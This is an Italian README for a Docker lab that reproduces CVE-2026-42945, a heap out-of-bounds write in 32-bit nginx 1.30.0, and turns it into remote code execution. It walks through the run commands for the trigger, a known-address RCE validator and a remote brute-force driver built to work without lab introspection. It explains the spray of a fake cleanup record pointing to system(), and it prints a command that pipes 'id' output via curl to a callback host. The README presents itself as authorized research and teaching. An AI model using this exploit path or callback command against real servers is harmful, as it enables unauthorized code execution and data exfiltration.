CVE-2026-42945 nginx Laboratorio Exploit 32-bit

Questo repository è un laboratorio Docker riproducibile per lo studio di CVE-2026-42945 in nginx 1.30.0. Contiene un target vulnerabile a 32 bit, un trigger primitivo, un validatore RCE con indirizzo noto assistito dal laboratorio e un driver brute-force senza introspezione.

Il confine della dimostrazione è importante:

• exploit/trigger_oob.py dimostra la primitiva di scrittura OOB nell'heap.
• exploit/lab_known_address.py prova il meccanismo RCE in Docker, ma è assistito dal laboratorio perché legge /proc/<pid>/maps tramite docker exec.
• exploit/remote_bruteforce.py non utilizza SSH, Docker, /proc, ptrace o indirizzi noti. Brute-forza i candidati delle pagine heap SAFE e delle pagine libc e considera il callback in uscita come l'unico segnale di successo.

Il percorso di brute-force remoto dipende ancora dal layout ASLR corrente del master nginx. Se l'indirizzo di spray non è rappresentabile dall'alfabeto di byte richiesto per URI sicuri, un passaggio completo fallirà fino a quando il processo master nginx non viene riavviato o ricaricato e ASLR non viene rigenerato. Come il validatore di indirizzo noto, il percorso RCE completo dovrebbe essere eseguito su un host Docker Linux x86 nativo piuttosto che su un target Docker Desktop emulato da QEMU.

Requisiti

• Docker con supporto Compose.
• Supporto per container Linux/386.
• Per il validatore RCE completo con indirizzo noto, utilizzare un host Docker Linux x86 nativo dove /proc/<pid>/maps espone il layout reale degli indirizzi a 32 bit del worker nginx. Docker Desktop su host non x86 potrebbe eseguire il target sotto qemu-i386; ciò è sufficiente per convalidare il crash OOB, ma non la matematica RCE con indirizzo noto.
• Python 3 sull'host per gli script di exploit.

Avvio Rapido

Costruisci e avvia il laboratorio nginx 32-bit vulnerabile:

docker compose up -d --build
curl http://127.0.0.1:19331/

Attiva la scrittura OOB controllata:

python3 exploit/trigger_oob.py 127.0.0.1:19331 --bytes 8192 --char +
docker logs cve-2026-42945-nginx32 --tail 20

Esegui il validatore RCE deterministico solo Docker:

python3 exploit/lab_known_address.py --restart-until-safe

Esegui il driver brute-force senza introspezione:

python3 exploit/remote_bruteforce.py 127.0.0.1:19331 host.docker.internal \
  --shuffle --seed 42945 \
  --attempt-delay 0.02 \
  --batch-size 5000 --batch-cooldown 10 \
  --progress-every 1000

host.docker.internal viene utilizzato come host di callback in modo che il comando incorporato nel worker nginx possa inviare in POST l'output di id al listener avviato dallo script di exploit. Il file Compose mappa questo nome per i motori Docker Linux.

Procedura di Sfruttamento

1. Costruisci e Avvia il Laboratorio

Il target Compose costruisce nginx 1.30.0 come binario in stile release a 32 bit e lo avvia su 127.0.0.1:19331. Una semplice richiesta GET / restituisce ok, dimostrando che il target è raggiungibile prima dell'inizio dello sfruttamento.

2. Attiva la Scrittura OOB

Il trigger invia un segmento URI catturato composto da byte + attraverso il percorso vulnerabile di rewrite più set $myvar $1. + viene escapato da NGX_ESCAPE_ARGS, quindi la copia scrive tre byte per ogni byte di input. Lo script stampa la dimensione prevista dell'overflow prima di inviare la richiesta.

3. Convalida RCE con Assistenza di Laboratorio

Il validatore di indirizzo noto è intenzionalmente assistito. Legge le mappature live dell'heap del worker e di libc dal contenitore Docker, calcola l'indirizzo del fake cleanup handler, invia la stessa sequenza di exploit a livello di rete e attende il callback. L'output uid=65534(nobody) è il worker nginx che esegue id. Questo screenshot proviene da un'esecuzione Docker x86 nativa; su configurazioni Docker Desktop non x86 lo script potrebbe fermarsi con un requisito di host nativo qemu-i386.

4. Esegui il Percorso Brute-Force Solo Remoto

Lo script di brute-force remoto rimuove le letture di indirizzo specifiche del laboratorio. Enumera i candidati delle pagine heap SAFE e delle pagine libc e utilizza solo il callback come oracolo di successo. Esaurire un passaggio senza callback non smentisce la primitiva; di solito significa che il layout corrente del master nginx non è favorevole per questo alfabeto di payload, o che il passaggio necessita di un riavvio/ricarica del master per rigenerare ASLR.

Come Funziona la Sequenza RCE

L'exploit utilizza tre ruoli di richiesta concorrenti:

1. /spray mantiene attiva un'allocazione del corpo della richiesta e posiziona un record ngx_pool_cleanup_t falso più il comando di callback nella memoria heap del worker nginx.
2. /api/<payload> raggiunge lo script di rewrite vulnerabile e ritarda il terminatore finale della richiesta fino a quando la richiesta vittima non è in posizione.
3. / crea il pool di richieste adiacente il cui puntatore cleanup è il bersaglio della scrittura OOB controllata.

Quando il pool di richieste corrotto viene distrutto, nginx segue il puntatore di cleanup sovrascritto. Nel percorso RCE del laboratorio, il fake cleanup handler punta a system() e il suo puntatore dati punta a:

id|curl -sm3 -d @- http://host.docker.internal:9876/rce

Il listener dell'exploit tratta tale POST come l'unico segnale di successo RCE.

Pulizia

docker compose down

Note di Sicurezza

Questo laboratorio è destinato alla convalida della sicurezza autorizzata e all'istruzione. Tienilo isolato, non esporre la porta del laboratorio a reti non fidate e non eseguire l'exploit contro sistemi di cui non sei proprietario o per i quali non hai esplicita autorizzazione al test.